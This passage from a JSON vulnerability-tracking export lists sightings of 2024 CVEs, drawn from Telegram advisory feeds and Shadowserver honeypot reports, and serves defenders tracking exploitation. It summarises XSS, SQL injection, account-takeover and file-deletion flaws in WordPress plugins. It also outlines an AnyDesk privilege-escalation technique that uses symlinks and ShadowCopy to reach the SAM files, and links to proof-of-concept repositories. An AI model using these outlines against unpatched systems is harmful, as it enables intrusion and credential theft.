"36dc0abc-9a34-4ca4-955e-96a4cbe43567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjnfn3w3d72u", "content": "", "creation_timestamp": "2026-04-16T21:56:11.069550Z"}, {"uuid": "e456bee1-3e89-47ee-9569-2e114b1f1f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-16)", "content": "", "creation_timestamp": "2026-04-16T00:00:00.000000Z"}, {"uuid": "29e4d240-eba0-4001-8417-e20856d57920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-16)", "content": "", "creation_timestamp": "2026-04-16T00:00:00.000000Z"}, {"uuid": "42120143-7232-4adb-b9aa-7bdc3f7cdc8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12119", "type": "seen", "source": "https://t.me/cvedetector/19883", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12119 - FooGallery WordPress Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12119 \nPublished : March 8, 2025, 6:15 a.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the default_gallery_title_size parameter in all versions up to, and including, 2.4.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with granted gallery and album creator roles, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T09:20:06.000000Z"}, {"uuid": "d0a73a0c-9a79-49b3-9727-96e6426a403a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "https://t.me/cvedetector/19826", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12634 - WordPress PickPlugins Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12634 \nPublished : March 7, 2025, 11:15 a.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : The Related Posts, Inline Related Posts, Contextual Related Posts, Related Content By PickPlugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including 2.0.59. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T14:57:03.000000Z"}, {"uuid": "03954b5c-aa35-44c2-bbfe-d54296ac9e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12460", "type": "seen", "source": "https://t.me/cvedetector/19880", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12460 - WordPress Timeless Texts Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12460 \nPublished : March 8, 2025, 3:15 a.m. | 2\u00a0hours, 19\u00a0minutes ago \nDescription : The Years Since \u2013 Timeless Texts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'years-since' shortcode in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T06:49:40.000000Z"}, {"uuid": "42a4866f-c798-420e-b68f-5f9341b7ff65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-17)", "content": "", "creation_timestamp": "2026-04-17T00:00:00.000000Z"}, {"uuid": "8aef5227-c721-43ab-96f6-b78402dd6af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-17)", "content": "", "creation_timestamp": "2026-04-17T00:00:00.000000Z"}, {"uuid": "c6e31b41-14a7-4118-aaab-af5f719c7c34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "content": "", "creation_timestamp": "2026-04-18T00:00:00.000000Z"}, {"uuid": "3cb0a39b-d95b-43e3-9d97-495338f06e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12975", "type": "seen", "source": "https://t.me/cvedetector/19854", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12975 - Cisco CPC Buffer Overread Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12975 \nPublished : March 7, 2025, 5:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : A buffer overread can occur in the CPC application when operating in full duplex SPI upon receiving an invalid packet over the SPI interface. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T20:48:12.000000Z"}, {"uuid": "0ee9e297-c994-4bdd-a900-803b5a5d38ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-18)", "content": "", "creation_timestamp": "2026-04-18T00:00:00.000000Z"}, {"uuid": "097e9883-1934-4093-b621-b59cb091a406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "https://t.me/cvedetector/19795", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12576 - Adobe Flash Player GPU Crash\", \n  \"Content\": \"CVE ID : CVE-2024-12576 \nPublished : March 7, 2025, 8:15 a.m. | 46\u00a0minutes ago \nDescription : Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger a crash of the FW running on the GPU freezing graphics output. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T10:45:18.000000Z"}, {"uuid": "ff86f23f-d62b-437b-9377-893d21fcd7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12577", "type": "seen", "source": "https://t.me/cvedetector/18733", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12577 - VMware GPU Firmware Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12577 \nPublished : Feb. 22, 2025, 3:15 p.m. | 2\u00a0hours, 16\u00a0minutes ago \nDescription : Kernel software installed and running inside a Guest VM may exploit memory shared with the GPU Firmware to write data outside the Guest's virtualised GPU memory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T19:10:23.000000Z"}, {"uuid": "72faae25-65d9-4494-8768-71e60d15e075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-19)", "content": "", "creation_timestamp": "2026-04-19T00:00:00.000000Z"}, {"uuid": "a4d3d05e-e92c-4f8f-8307-a6df165a5a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-19)", "content": "", "creation_timestamp": "2026-04-19T00:00:00.000000Z"}, {"uuid": "778bd270-044b-4fb5-8e21-59cff9bf3031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-20)", "content": "", "creation_timestamp": "2026-04-20T00:00:00.000000Z"}, {"uuid": "63d687c7-e9cd-49c5-921c-5b68b4d378bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-20)", "content": "", "creation_timestamp": "2026-04-20T00:00:00.000000Z"}, {"uuid": "80d8e216-4858-43af-9d31-138576504179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-21)", "content": "", "creation_timestamp": "2026-04-21T00:00:00.000000Z"}, {"uuid": "96741f9f-d68b-4b58-939a-858067ac1f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-21)", "content": "", "creation_timestamp": "2026-04-21T00:00:00.000000Z"}, {"uuid": "45079b17-4755-45da-8106-2ec0bbd8101b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-22)", "content": "", "creation_timestamp": "2026-04-22T00:00:00.000000Z"}, {"uuid": "07432eef-6d89-46b4-80ec-91af945a4a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-22)", "content": "", "creation_timestamp": "2026-04-22T00:00:00.000000Z"}, {"uuid": "49e2efe1-b842-4ab9-b79f-8197e75a6e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-23)", "content": "", "creation_timestamp": "2026-04-23T00:00:00.000000Z"}, {"uuid": "7a4d1add-a968-4d30-b0fd-77c4bf9ed2d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "https://t.me/cvedetector/18782", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12308 - Logo Slider WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12308 \nPublished : Feb. 24, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Logo Slider  WordPress plugin before 4.6.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T07:55:31.000000Z"}, {"uuid": "6d3191d9-2a94-43ef-b18f-a71e42ae113e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-23)", "content": "", "creation_timestamp": "2026-04-23T00:00:00.000000Z"}, {"uuid": "5a9c8662-71aa-4a89-91be-7bc59ef78a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12467", "type": "seen", "source": "https://t.me/cvedetector/18709", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12467 - Redsys Pago WordPress Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12467 \nPublished : Feb. 22, 2025, 5:15 a.m. | 1\u00a0hour, 49\u00a0minutes ago \nDescription : The Pago por Redsys plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Ds_MerchantParameters' parameter in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T08:18:43.000000Z"}, {"uuid": "29430855-3e7d-4093-a7e4-690363ba0454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12038", "type": "seen", "source": "https://t.me/cvedetector/18707", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12038 - WordPress BuddyForms Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12038 \nPublished : Feb. 22, 2025, 5:15 a.m. | 1\u00a0hour, 49\u00a0minutes ago \nDescription : The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'buddyforms_nav' shortcode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-22T08:18:42.000000Z"}, {"uuid": "2c4bf079-213d-493c-8dd8-24deed5929c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/claytechsolution/207", "content": "The Hacker News\nMoxa Issues Fix for Critical Authentication Bypass Vulnerability in PT Switches\n\nTaiwanese company Moxa has released a security update to address a critical security flaw impacting its PT switches that could permit an attacker to bypass authentication guarantees.\nThe vulnerability, tracked as CVE-2024-12297, has been assigned a CVSS v4 score of 9.2 out of a maximum of 10.0.\n\"Multiple Moxa PT switches are vulnerable to an authentication bypass because of flaws in their", "creation_timestamp": "2025-03-11T08:28:13.000000Z"}, {"uuid": "f79517ed-a960-4583-aa95-57cf211e009f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12155", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9329", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-12155 Missing Authorization (CWE-862)\nURL\uff1ahttps://github.com/McTavishSue/CVE-2024-12155\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-06T13:05:28.000000Z"}, {"uuid": "1f998c17-1816-4f28-92b3-22ceb81d315e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/25", "content": "CVE-2024-12754 Anydesk LPE POC\n\nArbitrary File Read / Copy Vulnerability found in Anydesk software\n\nAbuse demo: https://youtu.be/HiOJhEpt5Vo\n\nThx: @Michaelzhm", "creation_timestamp": "2025-02-09T09:05:51.000000Z"}, {"uuid": "6d1753c5-e4f9-4753-9ef8-e6780b7e52df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "https://t.me/cvedetector/18643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12452 - Ziggeo WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12452 \nPublished : Feb. 21, 2025, 10:15 a.m. | 2\u00a0hours ago \nDescription : The Ziggeo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ziggeo_event' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-21T13:55:29.000000Z"}, {"uuid": "219ece9a-3f3c-44d3-976a-bc661d43e7e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12276", "type": "seen", "source": "https://t.me/cvedetector/18642", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12276 - Ultimate Member for WordPress SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12276 \nPublished : Feb. 21, 2025, 10:15 a.m. | 2\u00a0hours ago \nDescription : The Ultimate Member \u2013 User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to second-order SQL Injection via filenames in all versions up to, and including, 2.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with  access to upload files and manage filenames through a third-party plugin like a File Manager, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The risk of this vulnerability is very minimal as it requires a user to be able to manipulate filenames in order to successfully exploit. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-21T13:55:28.000000Z"}, {"uuid": "33feb1d8-4151-4a44-9c98-1c544a0428a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/14", "content": "\ud83d\uddbc AnyDesk \u2014 Local Privilege Escalation (CVE-2024-12754)\n\nA vulnerability in AnyDesk allows low-privileged users to perform arbitrary file read and copy operations with NT AUTHORITY\\SYSTEM privileges. Exploitation is possible by manipulating the background image, creating symbolic links, and leveraging ShadowCopy, granting access to SAM, SYSTEM, and SECURITY files, ultimately leading to privilege escalation to administrator.\n\n\ud83d\udd17 Source:\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754\n\n#windows #anydesk #lpe #cve", "creation_timestamp": "2025-02-06T13:40:17.000000Z"}, {"uuid": "15bd3642-1c9f-42d3-9c5b-d9f0633af182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/cKure/14325", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Weaponizing Background Images for Information Disclosure && LPE: AnyDesk CVE-2024-12754, ZDI-24-1711.\n\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754", "creation_timestamp": "2025-02-14T18:49:59.000000Z"}, {"uuid": "489d92ae-f3af-451c-b382-b81629ac18ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/cvedetector/18487", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12284 - Citrix NetScaler Console and Agent Authenticated Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12284 \nPublished : Feb. 20, 2025, 12:15 a.m. | 27\u00a0minutes ago \nDescription : Authenticated privilege escalation in\u00a0NetScaler Console and NetScaler Agent allows. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-20T02:16:30.000000Z"}, {"uuid": "ec2e8c3f-4b3e-49b8-a85d-128d5e5c0c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://t.me/cvedetector/18408", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12173 - Master Slider Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12173 \nPublished : Feb. 19, 2025, 6:15 a.m. | 2\u00a0hours ago \nDescription : The Master Slider  WordPress plugin before 3.10.5 does not sanitise and escape some of its settings, which could allow high privilege users such as Editor and above to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-19T09:32:36.000000Z"}, {"uuid": "181303e9-881a-4d54-a0a1-cdda90ec1abd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://t.me/cvedetector/13450", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12677 - Delta Electronics DTM Soft Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12677 \nPublished : Dec. 20, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : Delta Electronics DTM Soft deserializes objects, which could allow an attacker to execute arbitrary code. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T19:15:39.000000Z"}, {"uuid": "b5da697d-fea3-49e5-b9bc-6aa55cc7f48f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://t.me/cvedetector/19227", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12824 - Nokri \u2013 Job Board WordPress Theme Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12824 \nPublished : March 1, 2025, 7:15 a.m. | 1\u00a0hour, 31\u00a0minutes ago \nDescription : The Nokri \u2013 Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-01T10:35:46.000000Z"}, {"uuid": "1b1761ca-0586-4086-9143-e6b9c7cd6e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://t.me/cvedetector/18298", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12860 - CarSpot \u2013 Dealership Wordpress Classified Theme WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12860 \nPublished : Feb. 18, 2025, 9:15 a.m. | 17\u00a0minutes ago \nDescription : The CarSpot \u2013 Dealership Wordpress Classified Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.4.3. This is due to the plugin not properly validating a token prior to updating a user's password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T10:57:32.000000Z"}, {"uuid": "8556bb50-4640-4ec1-a323-3dcfceaf6b8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12544", "type": "seen", "source": "https://t.me/cvedetector/19220", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12544 - SurveyJS WordPress Form Builder Arbitrary File Deletion Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12544 \nPublished : March 1, 2025, 8:15 a.m. | 31\u00a0minutes ago \nDescription : The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to arbitrary file deletion due to a missing capability check on the callback function of the SurveyJS_DeleteFile class in all versions up to, and including, 1.12.17. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This function is still vulnerable to Cross-Site Request Forgery as of 1.12.20. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and 